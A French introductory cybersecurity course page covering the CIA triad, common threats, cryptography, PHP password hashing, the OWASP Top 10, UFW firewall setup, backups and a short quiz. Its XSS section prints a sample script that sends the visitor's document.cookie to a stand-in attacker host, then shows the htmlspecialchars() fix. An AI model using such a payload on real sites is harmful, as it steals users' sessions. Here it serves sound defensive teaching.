CoursInfo

Cybersécurité

Protégez vos systèmes et vos données : menaces courantes, cryptographie, sécurité web (OWASP) et bonnes pratiques.

Niveau : Avancé • Durée : ~13h • 8 chapitres • Certificat inclus

1. Introduction à la cybersécurité

La cybersécurité vise à protéger les systèmes, réseaux et données contre l'accès, la modification ou la destruction non autorisés. Elle repose sur trois principes fondamentaux, la triade CIA (Confidentiality, Integrity, Availability).

Principe	Signification	Exemple de menace
Confidentialité	Seules les personnes autorisées accèdent à la donnée	Fuite de données, espionnage
Intégrité	La donnée n'est pas altérée sans autorisation	Modification malveillante d'une base
Disponibilité	Le service reste accessible quand on en a besoin	Attaque par déni de service (DDoS)

■ La sécurité n'est pas un produit : c'est un processus continu — veille, mises à jour, tests, sensibilisation des utilisateurs.

2. Menaces courantes

Menace	Description
Malware	Logiciel malveillant : virus, ver, cheval de Troie, ransomware
Phishing (hameçonnage)	Faux e-mail/site imitant une entité de confiance pour voler des identifiants
Ransomware	Chiffre les données de la victime et exige une rançon
Attaque DDoS	Sature un serveur de trafic pour le rendre indisponible
Ingénierie sociale	Manipulation psychologique pour obtenir des informations confidentielles

■■ Le facteur humain : la majorité des incidents de sécurité impliquent une erreur humaine (clic sur un lien de phishing, mot de passe faible) plus qu'une faille technique complexe.

3. Notions de cryptographie

Type	Principe	Exemple
Chiffrement symétrique	Même clé pour chiffrer et déchiffrer	AES
Chiffrement asymétrique	Paire clé publique / clé privée	RSA, utilisé par SSH et HTTPS
Fonction de hachage	Transforme une donnée en empreinte irréversible de taille fixe	SHA-256, bcrypt (mots de passe)

■■ HTTPS en pratique : lors de la connexion, le navigateur et le serveur utilisent d'abord la cryptographie asymétrique (TLS handshake) pour échanger une clé, puis basculent sur du chiffrement symétrique (plus rapide) pour le reste de la session.

4. Sécurité des mots de passe et authentification

- Ne jamais stocker un mot de passe en clair : utiliser un hachage avec sel (ex. bcrypt, fonction password_hash() en PHP)
- Imposer une longueur minimale (12+ caractères recommandé) plutôt que des règles de complexité rigides
- Activer l'authentification à deux facteurs (2FA/MFA) partout où c'est possible
- Ne jamais réutiliser le même mot de passe sur plusieurs services

```
$hash
= password_hash(
$_POST
[
'password'
], PASSWORD_DEFAULT);

// ... stocker $hash en base, jamais le mot de passe brut


// Vérification lors de la connexion


if
(password_verify(
$_POST
[
'password'
],
$hash_stocke
)) {
echo
"Connexion réussie"
;
}
```

5. Sécurité des applications web — OWASP Top 10

L'OWASP (Open Worldwide Application Security Project) publie régulièrement le « Top 10 » des risques de sécurité web les plus critiques.

Faille	Description	Protection
Injection SQL	Insertion de code SQL via un champ non filtré	Requêtes préparées
XSS (Cross-Site Scripting)	Injection de script malveillant exécuté chez d'autres utilisateurs	htmlspecialchars(), échappement systém
CSRF	Action exécutée à l'insu de l'utilisateur connecté	Jetons (tokens) CSRF sur les formulaires
Contrôle d'accès défaillant	Un utilisateur accède à des ressources qui ne lui sont pas destinées	Vérification des droits côté serveur, à cha

```
<!-- Un utilisateur soumet ce texte dans un champ de commentaire -->


<script>
document.location=
'http://site-pirate.com?cookie='
+document.cookie
</script>


// Protection en PHP avant affichage :

echo htmlspecialchars(
$commentaire
, ENT_QUOTES,
'UTF-8'
);
```

6. Sécurité réseau : pare-feu et VPN

- Pare-feu (firewall) : n'ouvrir que les ports strictement nécessaires (ex : 22, 80, 443 sur un serveur web)
- VPN : chiffre le trafic entre deux points, utile pour administrer un serveur depuis un réseau non sécurisé
- Fail2ban : bloque automatiquement une IP après plusieurs tentatives de connexion échouées (utile contre le brute-force SSH)

```
sudo ufw allow 22/tcp
# SSH

sudo ufw allow 80/tcp
# HTTP

sudo ufw allow 443/tcp
# HTTPS

sudo ufw enable
sudo ufw status
```

7. Sécurité des systèmes : mises à jour et sauvegardes

- Appliquer les mises à jour de sécurité dès leur publication (sudo apt update && sudo apt upgrade)
- Mettre en place des sauvegardes régulières, testées, et si possible stockées hors du serveur principal (ex. AWS S3)
- Désactiver ou supprimer tout service, compte ou port inutilisé
- Surveiller les journaux (logs) pour détecter une activité suspecte

■■ Règle 3-2-1 des sauvegardes : 3 copies des données, sur 2 supports différents, dont 1 hors site. Une seule sauvegarde n'est pas une sauvegarde fiable.

8. Bonnes pratiques et normes

Norme / cadre	Portée
ISO/IEC 27001	Système de management de la sécurité de l'information
RGPD	Protection des données personnelles (Union Européenne)
OWASP Top 10	Référence des risques applicatifs web

■ Projet final : Sur votre instance EC2, effectuez un audit de sécurité basique : listez les ports ouverts (sudo ss -tulpn), vérifiez que le pare-feu (UFW ou groupe de sécurité EC2) ne laisse passer que 22/80/443, confirmez que MySQL n'est pas accessible depuis l'extérieur, et vérifiez que tous les formulaires du site utilisent des requêtes préparées et htmlspecialchars().

Exercices & Quiz de vérification

Testez vos connaissances avant de passer au cours suivant. Chaque question a une correction détaillée à dérouler.

1. Que signifie le "I" de la triade CIA en sécurité ?

- A. Information
- B. Integrity (intégrité)
- C. Internet

Correction : Réponse : B. La triade CIA regroupe Confidentiality, Integrity, Availability (confidentialité, intégrité, disponibilité).

2. Comment doit-on stocker un mot de passe en base de données ?

- A. En clair
- B. Chiffré symétriquement
- C. Haché avec une fonction comme bcrypt

Correction : Réponse : C. Un hachage (fonction irréversible) avec sel, comme password_hash() en PHP, est la méthode recommandée.

3. Quelle faille consiste à injecter un script malveillant exécuté dans le navigateur d'autres utilisateurs ?

- A. Injection SQL
- B. XSS
- C. DDoS

Correction : Réponse : B. Le Cross-Site Scripting (XSS) se prévient en échappant systématiquement les données affichées, avec htmlspecialchars() par exemple.

4. Quelle est la règle de sauvegarde "3-2-1" ?

- A. 3 mots de passe, 2 comptes, 1 clé USB
- B. 3 copies, 2 supports différents, 1 hors site
- C. 3 jours, 2 heures, 1 minute

Correction : Réponse : B. Cette règle garantit qu'une seule défaillance (matérielle, incendie, vol) ne fait pas perdre toutes les copies de sauvegarde.

Ressources supplémentaires

- OWASP Top 10 — Référence officielle des risques web
- ANSSI — Agence nationale de la sécurité des systèmes d'information (France)
- PHP.net — Bonnes pratiques de hachage des mots de passe